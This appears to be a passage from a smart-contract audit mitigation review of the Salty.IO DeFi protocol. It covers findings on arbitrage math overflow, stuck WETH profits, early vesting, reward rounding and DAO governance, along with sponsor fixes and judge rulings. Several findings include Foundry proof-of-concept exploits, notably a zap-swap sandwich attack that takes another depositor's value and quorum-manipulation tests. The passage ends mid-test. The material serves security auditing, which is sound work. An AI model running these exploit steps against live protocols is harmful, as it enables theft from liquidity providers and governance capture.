Mitigation
https://github.com/othernet-global/salty-io/commit/a54656dd18135ca57eef7c4bf615b7cdff2613a7
The mitigation succesfully implemented the updated ArbitrageSearch algorithm to follow suit with the math and also the example code provided in the issue, but it additionally made sure the overflow risk is reduced since the math involves multiplications of multiple reserves(which could be substantial) primarily in the calculations of n1 and n0.
However upon further inspection, an edge case arises where if the pools were severely imbalanced, this scenario can occur:
- One of the reserves has a MSB more than 80.
- All reserves are shifted by “shift = maximumMSB - 80” to ensure none of them is more than 80 bits.
- However some reserves are too low, and shifting them by this magnitude sets them to equal 0.
- those reserves shifted to zero set n1 and n0 to 0.
- the check that n1 <= n0 is true and function returns 0, even though n1 could have been higher than n0 before the shift.
Impact
As with the original intention of the issue, there is potential for the algorithm to miss arbitrage profits, albeit due to a different reason and under a different circumstance, which applies here when the pools are imbalanced, and to how overflow is handled in the calculations.
Proof of Concept
function testArbitrageMethods() public view {
// Initial, roughly balanced pools
// 18 ETH ~ 1 BTC ~ 40k TOKEN A
// uint256 reservesA0 = 900 ether; // ETH
// uint256 reservesA1 = 2000000 ether; // TOKEN A
// uint256 reservesB0 = 4000000 ether; // TOKEN A
// uint256 reservesB1 = 100 ether; // BTC
// uint256 reservesC0 = 500 ether; // BTC
// uint256 reservesC1 = 9000 ether; // ETH
uint256 reservesA0 = 90000000; // ETH
uint256 reservesA1 = 900000000; // TOKEN A
uint256 reservesB0 = 900000000; // TOKEN A
uint256 reservesB1 = 200000000100 ether; // TOKEN B
uint256 reservesC0 = 1500000000; // TOKEN B
uint256 reservesC1 = 1000 ether; // ETH
for (uint256 i = 0; i < 4; i++) {
console.log("");
uint256 bestApproxProfit;
uint256 auxReservesB1;
uint256 auxReservesB0;
{
// Swap BTC for TOKEN A
uint256 swapAmountInValueInBTC = 1 ether * (i + 1); // Arbitrary value for test
console.log(i, "- swap", swapAmountInValueInBTC / 10 ** 18, "BTC for TOKEN A");
auxReservesB1 = reservesB1 + swapAmountInValueInBTC;
auxReservesB0 = reservesB0 - reservesB0 * swapAmountInValueInBTC / auxReservesB1;
uint256 gas0 = gasleft();
uint256 bestBrute = _bruteForceFindBestArbAmountIn(swapAmountInValueInBTC / 18, reservesA0, reservesA1, auxReservesB0, auxReservesB1, reservesC0, reservesC1);
console.log( "BRUTE GAS: ", gas0 - gasleft() );
console.log("Original brute arbitrage estimation: ", bestBrute);
bestApproxProfit = getArbitrageProfit(bestBrute, reservesA0, reservesA1, auxReservesB0, auxReservesB1, reservesC0, reservesC1);
console.log("Brute arbitrage profit: ", bestApproxProfit);
}
uint256 bestExact;
unchecked
{
uint256 gas0 = gasleft();
bestExact = _bestArbitrageIn(reservesA0, reservesA1, auxReservesB0, auxReservesB1, reservesC0, reservesC1);
console.log( "BEST GAS: ", gas0 - gasleft() );
}
console.log("Best arbitrage computation: ", bestExact);
uint256 bestExactProfit = getArbitrageProfit(bestExact, reservesA0, reservesA1, auxReservesB0, auxReservesB1, reservesC0, reservesC1);
console.log("Best arbitrage profit: ", bestExactProfit);
// Assumes an ETH price of $2300
if (bestExactProfit > bestApproxProfit)
console.log("PROFIT IMPROVEMENT (in USD cents): ", 2300 * (bestExactProfit - bestApproxProfit) / 10 ** 16);
if (bestApproxProfit > bestExactProfit)
console.log("PROFIT DECREASE (in USD cents): ", 2300 * (bestApproxProfit - bestExactProfit) / 10 ** 16);
}
}
THe POC above has reserve values which simulate the imbalanced pools scenario. It also shows the missed arbitrage profits through using the new algorithm compared with the brute force method.
Recommendation
Explore ways to handle overflow that will not impact potential arbitrage profits.
othernet-global (Salty.IO) confirmed and commented:
The maximum number of bits required for either a0b0c0 or a1b1c1 is now determined and then the required shift to keep either product within 240 bits is made.
Fixed within: https://github.com/othernet-global/salty-io/commit/ab3e5d50097c39b36951f4a85556f7d43332dc16
// Given that x, y and z will be multiplied: determine the bit shift necessary to keep the product contained in 240 bits function _shiftRequired( uint256 x, uint256 y, uint256 z ) internal pure returns (uint256) { unchecked { // Determine the maximum number of bits required without shifting uint256 requiredBits0 = _mostSignificantBit(x) + _mostSignificantBit(y) + _mostSignificantBit(z); // Already fits in 240? if ( requiredBits0 < 240 ) return 0; // Each number will be shifted so we can divide the required difference by 3 return Math.ceilDiv( requiredBits0 - 240, 3 ); } } // Determine the shift required to keep a0 * b0 * c0 and a1 * b1 * c1 within 240 bits function _determineShift( uint256 a0, uint256 b0, uint256 c0, uint256 a1, uint256 b1, uint256 c1 ) internal pure returns (uint256) { uint256 shift0 = _shiftRequired(a0, b0, c0); uint256 shift1 = _shiftRequired(a1, b1, c1); return shift0 > shift1 ? shift0 : shift1; }
See conversation on #119
The WETH arbitrage profits that are not swapped to SALT will be stuck in Pools
Submitted by 0xpiken
Related to: E-4 Severity: Medium
commit 6998661
In the pervious implementation, the WETH arbitrage profits will be swapped to SALT immediately in _arbitrage()
function. However, it could fail if there is no SALT/WETH liquidity in Pools
.
The mitigation skipped the swapping step if there is no SALT/WETH liquidity.
Vulnerability details
The WETH arbitrage profits were not swapped to SALT because the mitigation skipped the swapping step under zero SALT/WETH liquidity. However, it doesn’t record this for future swapping. As a result, all WETH arbitrage profits obtained under zero SALT/WETH liquidity will be stuck in Pools.
Recommended Mitigation Steps
Introduce a variable to accumulate the unswapped arbitrage profits and attempt to swap them for SALT next time.
othernet-global (Salty.IO) acknowledged and commented:
This is acceptable as it will only happen momentarily when the exchange is launched, and checking another variable for pending WETH to use would increase gas costs forever.
Medium severity seems justified to me as there is a “leak value with a hypothetical attack path with stated assumptions, but external requirements” although the impact remains small.
The SALT distributions of DAO Reserve and Initial Development Team start from the deployment time rather than the exchange activation time
Submitted by 0xpiken
Severity: Medium
The protocol’s reputation could be damaged due to distributing more SALT than expected to the DAO and development team. It’s difficult to pinpoint the direct loss, but at the very least, users’ willingness to become liquidity providers on Salty may be affected due to unfair initial SALT distribution.
Proof of Concept
When Salty exchange is actived,
25M SALT will be transferred to daoVestingWallet
and 10M SALT will be transferred to teamVestingWallet
by calling InitialDistribution#distributionApproved()
:
56: // 25 million DAO Reserve Vesting Wallet
57: salt.safeTransfer( address(daoVestingWallet), 25 * MILLION_ETHER );
58:
59: // 10 million Initial Development Team Vesting Wallet
60: salt.safeTransfer( address(teamVestingWallet), 10 * MILLION_ETHER );
daoVestingWallet
is responsible for distributing 25M SALT toDAO
linely over 10 yearsteamVestingWallet
is responsible for distributing 10M SALT toteamWallet
linely over 10 years
Check the smart contract deployments in Deployment.sol:
213: daoVestingWallet = new VestingWallet( address(dao), uint64(block.timestamp), 60 * 60 * 24 * 365 * 10 );
214: teamVestingWallet = new VestingWallet( teamWallet, uint64(block.timestamp), 60 * 60 * 24 * 365 * 10 );
As we can see, the distribution start time of daoVestingWallet
and teamVestingWallet
is the deployment time. However the exchange is not active at the moment.
If we check line 216 in Deployment.sol, we can see that it will take at least 5 days to active the exchange because ballotDuration
was initialized to 5 days
.
bootstrapBallot = new BootstrapBallot(exchangeConfig, airdrop, 60 * 60 * 24 * 5 );
From the above we can see, DAO
and teamWallet
can get 5 days SALT distribution immediately once the exchanged is active.
Copy below codes to BootstrapBallot.t.sol and run COVERAGE="yes" NETWORK="sep" forge test -vv --rpc-url RPC_URL --match-test test_finalizeBallotThenCheckVestingBalance
function test_finalizeBallotThenCheckVestingBalance() public {
// Voting stage (yesVotes: 2, noVotes: 0)
//@audit-info deploy all contract
initializeContracts();
bytes memory sig = abi.encodePacked(aliceVotingSignature);
vm.startPrank(alice);
bootstrapBallot.vote(true, sig);
vm.stopPrank();
sig = abi.encodePacked(bobVotingSignature);
vm.startPrank(bob);
bootstrapBallot.vote(true, sig);
vm.stopPrank();
// Increase current blocktime to be greater than completionTimestamp
vm.warp( bootstrapBallot.completionTimestamp());
assertEq( salt.balanceOf(address(initialDistribution)), 100000000 ether);
// Call finalizeBallot()
bootstrapBallot.finalizeBallot();
// Verify that the InitialDistribution.distributionApproved() was called.
assertEq( salt.balanceOf(address(initialDistribution)), 0);
//@audit-info non-zero SALT can be released to dao and teamWallet immediately
assertEq(daoVestingWallet.releasable(address(salt)), 34246575342465753424657);
assertEq(teamVestingWallet.releasable(address(salt)), 13698630136986301369863);
}
Recommended Mitigation Steps
The vesting start time should not be early than the exchange activation time.
It is recommended to deploy daoVestingWallet
and teamVestingWallet
in InitialDistribution#distributionApproved()
, and use block.timestamp
as start timestamp.
Waiting for the sponsor’s input but it can make sense to want the team and the DAO to have an initial allocation.
othernet-global (Salty.IO) confirmed and commented:
VestingWallets now start at boostrapBallot.completionTimestamp
Fixed in: https://github.com/othernet-global/salty-io/commit/46d395f791a8e3a5d8753eb3f4918cc0e24b23d0
Following the sponsor’s answer, it seems that this was indeed unintended. As a functionality of the protocol isn’t working as expected but funds aren’t really at risk, I’ll validate under Medium severity.
Adding liquidity with useZapping = true
allows user to steal funds
Submitted by t0x1c
Severity: Medium
The function depositLiquidityAndIncreaseShare() can be called with useZapping = true which internally swaps one token to another in order to maintain the correct ratio and then makes the deposit. This can be exploited to gain funds.
Details
The protocol has taken important steps which either make a traditional sandwich attack unprofitable for the attacker or impossible to execute altogether. These are -
- AAA i.e. the internal atomic arb.
- Limiting user swaps to one per block to prevent bypassing arbitrage within a single block. This also makes sure that a malicious user can not perform a sandwich attack by front-running another user’s liquidity addition. The malicious front-run-swap and later on the back-run-swap won’t be allowed by the protocol in a single block.
These constraints are however bypassed by calling the function depositLiquidityAndIncreaseShare()
with useZapping = true
.
Instead of doing a front-run-swap, simply let the zapping feature do it for you. This internal swap is not recorded as an actual “swap” by the protocol and hence when later on a back-run-swap is executed, it’s not reverted in spite of being in the same block. Additionally, arbitrage no longer occurs when zapping liquidity, as implemented in this PR. So you have now bypassed AAA as well.
Attack Scenario
- In a pool of
token1
andtoken2
, the fair ratio to be maintained fortoken1:token2
is1:1
. One can imagine that1 wei
of each token =$1
. - The first depositor, Alice calls
depositLiquidityAndIncreaseShare(token, token2, 100 ether, 100 ether, 100 ether, 100 ether, 200 ether, block.timestamp, false)
to deposit100 ether
of each token with proper slippage parameters. She gets2 * 100 ether = 200e18
shares. - Another depositor, Charlie calls
depositLiquidityAndIncreaseShare( token1, token2, 100 ether, 100 ether, 100 ether, 99 ether, 199 ether, block.timestamp, false )
to attempt a deposit of100 ether
of each token. He understands that in a dynamic market various swaps might be happening at the same time, effecting the price ratios, hence provides a slippage of around1%
for token2 by specifying minimum token2 as99 ether
and minimum shares as199 ether
. He does not tolerate any slippage for token1 in our example. - Bob, who is a malicious user, front-runs Charlie and calls
depositLiquidityAndIncreaseShare( token1, token2, 1 ether, 0, 0, 0, 0, block.timestamp, true )
to add1 ether
of token1 withuseZapping = true
. - The protocol makes the internal swap. If we inspect the reserves after this, we find:
new balances: token1 = 100999999999999999999, token2 = 100000000000000000000
Manipulated ratio of token2:token1 =: 0.990099009900990099
-
The internal zap-swap has resulted in the ratios to change.
- Note that Bob can use multiple alternate accounts of his to call
depositLiquidityAndIncreaseShare()
withuseZapping = true
multiple times. This would skew the ratio even further. He just needs to take care to be within the slippage limits set by Charlie.
- Note that Bob can use multiple alternate accounts of his to call
- Charlie’s transaction goes through after Bob’s transaction. His slippage parameters were invoked.
- Bob now swaps
1 ether
of token2 for token1. He callsdepositSwapWithdraw(token2, token1, 1 ether, 0, block.timestamp)
and receives1.004950249987624375 ether
of token1, higher than the market rate of1 ether
. - Bob now withdraws his entire liquidity shares to make a profit of
$2462673092946115
.
Impact
Bob can steal funds from Charlie and profit.
Proof of Concept
Click to view PoC
Create a new file src/staking/tests/ZapSwap.t.sol
with the following code and run via COVERAGE="yes" NETWORK="sep" forge test -vv --rpc-url https://rpc.ankr.com/eth_sepolia --mt test_t0x1c_ZapSwapGain
:
// SPDX-License-Identifier: Unlicensed
pragma solidity =0.8.22;
import "../../dev/Deployment.sol";
contract ZapSwap is Deployment
{
bytes32[] public poolIDs;
bytes32 public pool1;
IERC20 public token1;
IERC20 public token2;
address public constant alice = address(0x1111);
address public constant bob = address(0x2222);
address public constant charlie = address(0x3333);
uint256 token1DecimalPrecision;
uint256 token2DecimalPrecision;
function setUp() public
{
// If $COVERAGE=yes, create an instance of the contract so that coverage testing can work
// Otherwise, what is tested is the actual deployed contract on the blockchain (as specified in Deployment.sol)
if ( keccak256(bytes(vm.envString("COVERAGE" ))) == keccak256(bytes("yes" )))
initializeContracts();
grantAccessAlice();
grantAccessBob();
grantAccessCharlie();
grantAccessDeployer();
grantAccessDefault();
finalizeBootstrap();
vm.prank(address(daoVestingWallet));
salt.transfer(DEPLOYER, 1000000 ether);
token1DecimalPrecision = 18;
token2DecimalPrecision = 18;
token1 = new TestERC20("TEST", token1DecimalPrecision);
token2 = new TestERC20("TEST", token2DecimalPrecision);
pool1 = PoolUtils._poolID(token1, token2);
poolIDs = new bytes32[](1);
poolIDs[0] = pool1;
// Whitelist the _pools
vm.startPrank( address(dao) );
poolsConfig.whitelistPool(token1, token2);
vm.stopPrank();
vm.prank(DEPLOYER);
salt.transfer( address(this), 100000 ether );
salt.approve(address(liquidity), type(uint256).max);
vm.startPrank(alice);
token1.approve(address(liquidity), type(uint256).max);
token2.approve(address(liquidity), type(uint256).max);
vm.stopPrank();
vm.startPrank(bob);
token1.approve(address(liquidity), type(uint256).max);
token2.approve(address(liquidity), type(uint256).max);
token1.approve(address(pools), type(uint256).max);
token2.approve(address(pools), type(uint256).max);
vm.stopPrank();
vm.startPrank(charlie);
token1.approve(address(liquidity), type(uint256).max);
token2.approve(address(liquidity), type(uint256).max);
token1.approve(address(pools), type(uint256).max);
token2.approve(address(pools), type(uint256).max);
vm.stopPrank();
// DAO gets some salt and pool lps and approves max to staking
token1.transfer(address(dao), 1000 * 10**token1DecimalPrecision);
token2.transfer(address(dao), 1000 * 10**token2DecimalPrecision);
vm.startPrank(address(dao));
token1.approve(address(liquidity), type(uint256).max);
token2.approve(address(liquidity), type(uint256).max);
vm.stopPrank();
}
// Convenience function
function totalSharesForPool( bytes32 poolID ) public view returns (uint256)
{
bytes32[] memory _pools2 = new bytes32[](1);
_pools2[0] = poolID;
return liquidity.totalSharesForPools(_pools2)[0];
}
function test_t0x1c_ZapSwapGain() public {
// ******************************* SETUP **************************************
// Give Alice, Bob & Charlie some tokens for testing
token1.transfer(alice, 100 ether);
token2.transfer(alice, 100 ether);
token1.transfer(bob, 1 ether);
token2.transfer(bob, 1 ether);
token1.transfer(charlie, 100 ether);
token2.transfer(charlie, 100 ether);
assertEq(totalSharesForPool( pool1 ), 0, "Pool should initially have zero liquidity share" );
assertEq(liquidity.userShareForPool(alice, pool1), 0, "Bob's initial liquidity share should be zero");
assertEq(liquidity.userShareForPool(bob, pool1), 0, "Bob's initial liquidity share should be zero");
assertEq(liquidity.userShareForPool(charlie, pool1), 0, "Charlie's initial liquidity share should be zero");
assertEq( token1.balanceOf( address(pools)), 0, "liquidity should start with zero token1" );
assertEq( token2.balanceOf( address(pools)), 0, "liquidity should start with zero token2" );
// deposit ratio of 1:1 i.e token1's price is 1 times that of token2
uint256 addedAmount1 = 100 ether;
uint256 addedAmount2 = 100 ether;
// Alice adds liquidity in the correct ratio, as the first depositor
vm.prank(alice);
uint256 addedLiquidityAlice = liquidity.depositLiquidityAndIncreaseShare( token1, token2, addedAmount1, addedAmount2, addedAmount1, addedAmount2, addedAmount1 + addedAmount2, block.timestamp, false );
console.log("initial balances: token1 = %s, token2 = %s", token1.balanceOf( address(pools)), token2.balanceOf( address(pools)));
emit log_named_decimal_uint ("Initial ratio of token2:token1 =", 1e18 * token2.balanceOf(address(pools)) / token1.balanceOf(address(pools)), 18);
assertEq(liquidity.userShareForPool(alice, pool1), addedLiquidityAlice, "Alice's share should have increased" );
assertEq( token1.balanceOf( address(pools)), addedAmount1, "Tokens were not deposited into the pool as expected" );
assertEq( token2.balanceOf( address(pools)), addedAmount2, "Tokens were not deposited into the pool as expected" );
assertEq(totalSharesForPool( pool1 ), addedLiquidityAlice, "totalShares mismatch after Alice's deposit" );
uint256 bobInitialBalance = token1.balanceOf(bob) + token2.balanceOf(bob); // In Dollar terms
// ******************************* SETUP ENDS **************************************
console.log("\n\n***************************** Bob Zap-Swap Attack ************************************\n");
vm.prank(bob);
uint256 addedLiquidityBob = liquidity.depositLiquidityAndIncreaseShare( token1, token2, 1 ether, 0, 0, 0, 0, block.timestamp, true );
console.log("new balances: token1 = %s, token2 = %s", token1.balanceOf( address(pools)), token2.balanceOf( address(pools)));
emit log_named_decimal_uint ("Manipulated ratio of token2:token1 =", 1e18 * token2.balanceOf(address(pools)) / token1.balanceOf(address(pools)), 18);
// Charlie transaction goes through now which adds liquidity with suitable slippage parameters
vm.prank(charlie);
// @audit-info : 1% slippage for token2
liquidity.depositLiquidityAndIncreaseShare( token1, token2, 100 ether, 100 ether, 100 ether, 99 ether, 199 ether, block.timestamp, false );
// Bob swaps
vm.prank(bob);
(uint256 swappedOut) = pools.depositSwapWithdraw(token2, token1, 1 ether, 0, block.timestamp);
emit log_named_decimal_uint("token1 swappedOut in exchange for 1 ether of token2 (should be greater than 1 ether) =", swappedOut, 18);
skip(1 hours);
vm.prank(bob);
liquidity.withdrawLiquidityAndClaim(token1, token2, addedLiquidityBob, 0, 0, block.timestamp);
uint256 bobFinalBalance = token1.balanceOf(bob) + token2.balanceOf(bob); // In Dollar terms
assertGt( bobFinalBalance, bobInitialBalance, "Bob did not profit" );
console.log("\nProfit made by Bob = $", bobFinalBalance - bobInitialBalance);
}
}
Output:
[PASS] test_t0x1c_ZapSwapGain() (gas: 947570)
Logs:
initial balances: token1 = 100000000000000000000, token2 = 100000000000000000000
Initial ratio of token2:token1 =: 1.000000000000000000
***************************** Bob Zap-Swap Attack ************************************
new balances: token1 = 100999999999999999999, token2 = 100000000000000000000
Manipulated ratio of token2:token1 =: 0.990099009900990099
token1 swappedOut in exchange for 1 ether of token2 (should be greater than 1 ether) =: 1.004950249987624375
Profit made by Bob = $ 2462673092946115
Recommended Mitigation Steps
The useZapping = true
option gives users the power to perform multiple actions which are otherwise actively blocked by the protocol individually. I would recommend to remove the zap functionality altogether. Removing this along with the fixes proposed in the following bug reports + the newly added features by the protocol should be sufficient to thwart any sandwich attacks via reserve ratio manipulation:
- Report titled “Rounding loophole while adding liquidity can be exploited to steal value”
- Report titled ”
removeLiquidity()
executes unbalanced token removal due to rounding bug, allowing user to steal funds” - “Limited user swaps to one per block to prevent bypassing arbitrage within a single block” implemented in this PR (under Extra scope E5).
- Salty’s inherent AAA.
This report shows how some restrictions can be bypassed by using depositLiquidityAndIncreaseShare
othernet-global (Salty.IO) disputed and commented:
Charlie wanted to deposit 100 token1 and 100 token2 for 200 liquidity. Instead they are depositing 100 token1 and 99.0099 token for 199.0074 liquidity.
They are depositing less and are getting a very close amount of liquidity to what they would expect.
If, after the attack Charlie withdraws their tokens, they still have 199.99753719 of token1 and token2 which is acceptably close to the 200 they started with.
Picodes (Judge) decreased severity to Medium
Rounding of user.virtualRewards
happens in user’s favour inside claimAllRewards()
Submitted by t0x1c
Severity: Medium
https://github.com/othernet-global/salty-io/blob/main/src/staking/StakingRewards.sol#L161-L166
https://github.com/othernet-global/salty-io/blob/main/src/staking/StakingRewards.sol#L250-L256
https://github.com/othernet-global/salty-io/blob/main/src/staking/StakingRewards.sol#L122-L123
These lines were changed as a fix to M-01. virtualRewardsToRemove
is now rounded up since it needs to be deducted later on from claimableRewards
on L138.
While this is okay here, it has now led to a rounding of user.virtualRewards
against the protocol, causing loss inside claimAllRewards().
New Issue
_decreaseShare()
is not the only function which enables a user to claim rewards. claimAllRewards()
can be called too by the user. claimAllRewards()
internally calls userRewardForPool() which makes use of the user.virtualRewards
variable in L250-256. Since the new fix reduced user.virtualRewards
to a greater extent than it did in the previous implementation, L256 can now return a user reward greater than it did in the previous implementation. The fix has caused the rounding of userRewardForPool against the protocol.
Impact
Calculation does not round in favour of the protocol, which means that value may leak from the system in favour of the users. This vulnerability enables users to claim more rewards than they are entitled to. Although each instance might involve a small amount, the cumulative effect could be significant due to the frequency of occurrences.
More importantly, this may even cause the last reward claim to witness a scenario where there are not enough rewards to pay them out.
Recommended Mitigation Steps
While this can be approached in multiple ways, to avoid confusion let’s have two separate variables for virtualRewardsToRemove
accounting, one rounded-up and one rounded-down:
File: src/staking/StakingRewards.sol
// Decrease a user's share for the pool and have any pending rewards sent to them.
// Does not require the pool to be valid (in case the pool was recently unwhitelisted).
function _decreaseUserShare( address wallet, bytes32 poolID, uint256 decreaseShareAmount, bool useCooldown ) internal
{
require( decreaseShareAmount != 0, "Cannot decrease zero share" );
UserShareInfo storage user = _userShareInfo[wallet][poolID];
require( decreaseShareAmount <= user.userShare, "Cannot decrease more than existing user share" );
if ( useCooldown )
if ( msg.sender != address(exchangeConfig.dao()) ) // DAO doesn't use the cooldown
{
require( block.timestamp >= user.cooldownExpiration, "Must wait for the cooldown to expire" );
// Update the cooldown expiration for future transactions
user.cooldownExpiration = block.timestamp + stakingConfig.modificationCooldown();
}
// Determine the share of the rewards for the amountToDecrease (will include previously added virtual rewards)
uint256 rewardsForAmount = ( totalRewards[poolID] * decreaseShareAmount ) / totalShares[poolID];
// For the amountToDecrease determine the proportion of virtualRewards (proportional to all virtualRewards for the user)
- // Round virtualRewards up in favor of the protocol
- uint256 virtualRewardsToRemove = Math.ceilDiv(user.virtualRewards * decreaseShareAmount, user.userShare );
+ // Round virtualRewardsToRemoveFromClaimable up in favor of the protocol
+ uint256 virtualRewardsToRemoveFromClaimable = Math.ceilDiv(user.virtualRewards * decreaseShareAmount, user.userShare );
+ // Round virtualRewardsToRemoveFromUserVirtRewards down in favor of the protocol
+ uint256 virtualRewardsToRemoveFromUserVirtRewards = (user.virtualRewards * decreaseShareAmount) / user.userShare;
// Update totals
totalRewards[poolID] -= rewardsForAmount;
totalShares[poolID] -= decreaseShareAmount;
// Update the user's share and virtual rewards
user.userShare -= decreaseShareAmount;
- user.virtualRewards -= virtualRewardsToRemove;
+ user.virtualRewards -= virtualRewardsToRemoveFromUserVirtRewards;
uint256 claimableRewards = 0;
// Some of the rewardsForAmount are actually virtualRewards and can't be claimed.
- // In the event that virtualRewards are greater than actual rewards - claimableRewards will stay zero.
- if ( virtualRewardsToRemove < rewardsForAmount )
- claimableRewards = rewardsForAmount - virtualRewardsToRemove;
+ // In the event that virtualRewardsToRemoveFromClaimable are greater than actual rewards - claimableRewards will stay zero.
+ if ( virtualRewardsToRemoveFromClaimable < rewardsForAmount )
+ claimableRewards = rewardsForAmount - virtualRewardsToRemoveFromClaimable;
// Send the claimable rewards
if ( claimableRewards != 0 )
salt.safeTransfer( wallet, claimableRewards );
emit UserShareDecreased(wallet, poolID, decreaseShareAmount, claimableRewards);
}
Picodes (Judge) decreased severity to Medium
othernet-global (Salty.IO) confirmed and commented:
Fixed in: https://github.com/othernet-global/salty-io/commit/0281d1d2cb61cf6291f0468d492e4ca4998831d3
Multiple sendSALT proposals can now get approved and together all at once spend more than 5%
of the current SALT balance of the DAO
Submitted by t0x1c
Severity: Medium
The comment on L199 above proposeSendSALT()
clearly states (just like in the previous implementation) that:
// Only one sendSALT Ballot can be open at a time and the sending limit is 5% of the current SALT balance of the DAO.
The fix applied for M-12 on L209 however has changed the unique ballot name now which means multiple proposals for proposeSendSALT()
can now be opened concurrently and drain more than 5%
of DAO’s SALT balance.
Impact
The presence of multiple concurrent proposals for proposeSendSALT()
means that now 2 ballots (or 20) could get approved simultaneously and all of a sudden 10% (or 100%) of DAO’s SALT balance can be drained.
In the worst case, a malicious user with large SALT balance or a group of coordinating malicious users could come together and create multiple proposals simultaneously. Since the balance of DAO does not diminish when proposal is created but only when the ballot is executed at finalization & a transfer made, 20 such proposals are enough to drain 100%.
Recommended Mitigation Steps
Since we want to avoid the front-running & DOS attack highlighted in M-12 while still safeguarding DAO’s 95%
SALT balance, the following steps are recommended:
-
Since even in the old implementation
proposeSendSALT()
could be finalized every 14 days, transferring 5% of the balance each time, similarly enforce a 14-day (or X days) of wait period between any two ballot finalizations. Let’s imagine a possible scenario to make things clearer:- 2 proposals are created simultaneously.
- Proposal-1 finalizes after 15 days.
5%
SALT is transferred. - Proposal-2 reaches quorum on the 16th day and can be finalized & passed. However, since the last sendSALT proposal made a transfer just 1 day ago, proposal-2 needs to wait another 13 days before attempting finalization again.
- This also means the protocol will have to take care that the upper ceiling of
amount
is5%
of the current balance. This is because when the proposal was created, the first ballot had not finalized & transferred SALT and hence5%
would have evaluated to a greater amount. So at the time of finalization or while doing the transfer, perform a check along the lines of:
uint256 currentBalance = exchangeConfig.salt().balanceOf( address(exchangeConfig.dao()) );
if (amount > currentBalance * 5 / 100)
amount = currentBalance;
The severity of this issue is over-inflated. At least 30% of voting power is required to approve a
SEND_SALT
ballot. it’s hard to imagine one malicious user can own over 30% of voting power, or a group of malicious users collude to take control of more than 30% of the voting power and drain SALT from DAO.
othernet-global (Salty.IO) confirmed, but disagreed with severity and commented:
A 7 day Send SALT cooldown has now been added to combat rapid drainage.
The 5% limit is still based on the initial reserves at the time of proposal creation. After 30 days of ballots not being finalized anyone can manual finalize a ballot (without execution) - limiting the number of Send SALT ballots that could be executed if spammed.
Fixed with: https://github.com/othernet-global/salty-io/commit/5260d9bd49fad4fd712daeb65979936392531dd7
Picodes (Judge) decreased severity to Medium and commented:
@piken thanks for flagging. I don’t know why I thought the severity of this issue was Med as the original issue was Med.
This issue is without a doubt Medium severity.
You need to:
- Have at least 30% of the voting power for the proposals to pass
- Not have other holders voting against your proposals
- Assuming you have all this you will still be able to drain salt, it’ll just take longer
I don’t see how these conditions aren’t “a hypothetical attack path with stated assumptions, but external requirements” but are a “direct attack”.
Partial snapshot means staking after proposal creation gives unfair benefit
Submitted by t0x1c, also found by zzebra83
Severity: Medium
The mitigation for M-11 is meant to stop the user from getting extra voting power (by reducing the quorum) via unstaking their SALT after proposal creation. Although the fix on L110 successfully mitigates the existing issue by saving the value of requiredQuorum
at the time of proposal creation, new attack vectors open up due to it.
Attack Vector 1
- Suppose the initial staked amount in the system is
6_000_000
(all figures inether
, so6_000_000 * 10**18
). - Alice has
630_000
with her which she wants to stake and float a proposal. - It works in Alice’s favour to not stake all the amount at once. This is because if she stakes all at once, the required quorum would be
10% of (6_000_000 + 630_000) = 663_000
and hence she will have to depend on others for her proposal to pass. She realizes there’s a better way to keep the required quorum value in her favour. - Alice stakes with
aliceStakedAmount_1 = 60_000
and floats a proposal. - The
requiredQuorum
right now is10%
which equals606000
. - She now stakes her remaining
aliceStakedAmount_2 = 570_000
. This can be staked immediately after proposal creation or after a wait time of 14 days. - Alice votes
yes
. Her proposal now has630_000
votes, surpassing therequiredQuorum
and hence passing the proposal. - Alice can now optionally choose to unstake her SALT.
Attack Vector 2
- Suppose the initial staked amount in the system is
6_000_000
(all figures inether
, so6_000_000 * 10**18
). - Alice has already staked
630_000
and she now wants to float a new proposal. - Alice unstakes
570_000
. She only has60_000
staked now. - She floats a proposal.
- The
requiredQuorum
right now is10%
which equals606000
. - She now calls
cancelUnstake()
to get her570_000
back. - Alice votes
yes
. Her proposal now has630_000
votes, surpassing therequiredQuorum
and hence passing the proposal.
Recommended Mitigation Steps
It is not sufficient to only save the snapshot by storing the requiredQuorum
on L110 at proposal creation time. The protocol needs to also save the voting power of the users at that timestamp. Any SALT staked later on can not be included in voting power.
Proof of Concept
Add these 2 tests inside src/dao/tests/DAO.t.sol
and run via COVERAGE="yes" NETWORK="sep" forge test -vv --rpc-url https://rpc.ankr.com/eth_sepolia --mt test_t0x1c_
to see both the tests pass:
function test_t0x1c_stakingAfterProposalCreation() public {
deal(address(salt), address(DEPLOYER), 6_000_000 ether);
vm.prank(DEPLOYER);
staking.stakeSALT(6_000_000 ether);
// Set up the parameters for the proposal
uint256 proposalNum = 0; // Assuming an enumeration starting at 0 for parameter proposals
uint256 ballotID = 1;
deal(address(salt), address(alice), 630_000 ether);
// Alice stakes her SALT to get voting power
uint256 aliceStakedAmount_1 = 60_000 ether;
uint256 aliceStakedAmount_2 = 570_000 ether;
vm.startPrank(alice);
staking.stakeSALT(aliceStakedAmount_1);
// Propose a parameter ballot
proposals.proposeParameterBallot(proposalNum, "Increase max pools count");
emit log_named_decimal_uint("requiredQuorumForBallotType =", proposals.requiredQuorumForBallotType(BallotType.PARAMETER), 18);
// stakes again with a much larger amount, now that the proposal has been floated
staking.stakeSALT(aliceStakedAmount_2);
skip(14 days);
// Alice casts a vote, enough for quorum
proposals.castVote(ballotID, Vote.INCREASE);
// OPTIONAL STEP -- Alice unstakes her SALT
// staking.unstake(aliceStakedAmount_1 + aliceStakedAmount_2, 52);
vm.stopPrank();
emit log_named_decimal_uint("votes cast in favour =", proposals.votesCastForBallot(ballotID, Vote.INCREASE), 18);
// Now it should be possible to finalize the ballot
dao.finalizeBallot(ballotID);
// Check that the ballot is finalized
bool isBallotFinalized = !proposals.ballotForID(ballotID).ballotIsLive;
assertTrue(isBallotFinalized);
}
function test_t0x1c_cancelUnstakeToManipulateVotingPower() public {
deal(address(salt), address(DEPLOYER), 6_000_000 ether);
vm.prank(DEPLOYER);
staking.stakeSALT(6_000_000 ether);
uint256 aliceStakedAmount = 630_000 ether;
deal(address(salt), address(alice), aliceStakedAmount);
vm.startPrank(alice);
staking.stakeSALT(aliceStakedAmount);
// Set up the parameters for the proposal
uint256 proposalNum = 0; // Assuming an enumeration starting at 0 for parameter proposals
uint256 ballotID = 1;
// Alice unstakes her SALT first, before floating the proposal
uint256 aliceUnstakeAmount = 570_000 ether;
uint256 unstakeID = staking.unstake(aliceUnstakeAmount, 52);
// Propose a parameter ballot
proposals.proposeParameterBallot(proposalNum, "Increase max pools count");
